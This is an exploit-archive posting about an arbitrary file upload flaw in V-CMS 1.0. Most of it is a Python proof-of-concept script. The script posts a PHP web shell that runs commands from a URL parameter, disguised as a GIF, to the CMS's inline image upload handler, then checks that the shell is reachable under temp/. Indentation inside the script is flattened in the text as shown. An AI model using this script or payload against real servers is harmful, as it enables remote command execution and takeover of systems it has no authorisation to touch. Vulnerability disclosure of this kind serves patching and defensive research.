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V-CMS 1.0 Shell Upload

V-CMS 1.0 Shell Upload
Posted Nov 17, 2011
Authored by AutoSec Tools | Site autosectools.com

An arbitrary upload vulnerability in V-CMS version 1.0 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

tags | exploit, arbitrary, shell, php
MD5 | 16fbeae097458ceaf503548c01ac8d6f

V-CMS 1.0 Shell Upload

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# ------------------------------------------------------------------------
# Software................V-CMS 1.0
# Vulnerability...........Arbitrary Upload
# Threat Level............Very Critical (5/5)
# Download................http://v-cms.org/
# Discovery Date..........11/13/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# An arbitrary upload vulnerability in V-CMS 1.0 can be exploited to
# extract arbitrary data. In some environments it may be possible to
# create a PHP shell.
#
#
# --PoC--

import socket

host = 'localhost'
path = '/v-cms'
shell_path = path + '/temp/shell.php'
port = 80

def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/includes/inline_image_upload.php HTTP/1.1\r\n'
'Host: localhost\r\n'
'Proxy-Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: 178\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Encoding: gzip,deflate,sdch\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="Filedata"; filename="shell.php"\r\n'
'Content-Type: image/gif\r\n'
'\r\n'
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
'------x--\r\n'
'\r\n')

resp = s.recv(8192)

http_ok = 'HTTP/1.1 200 OK'

if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
return
else: print 'shell uploaded'

s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')

if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
else: print 'shell located at http://' + host + shell_path

upload_shell()

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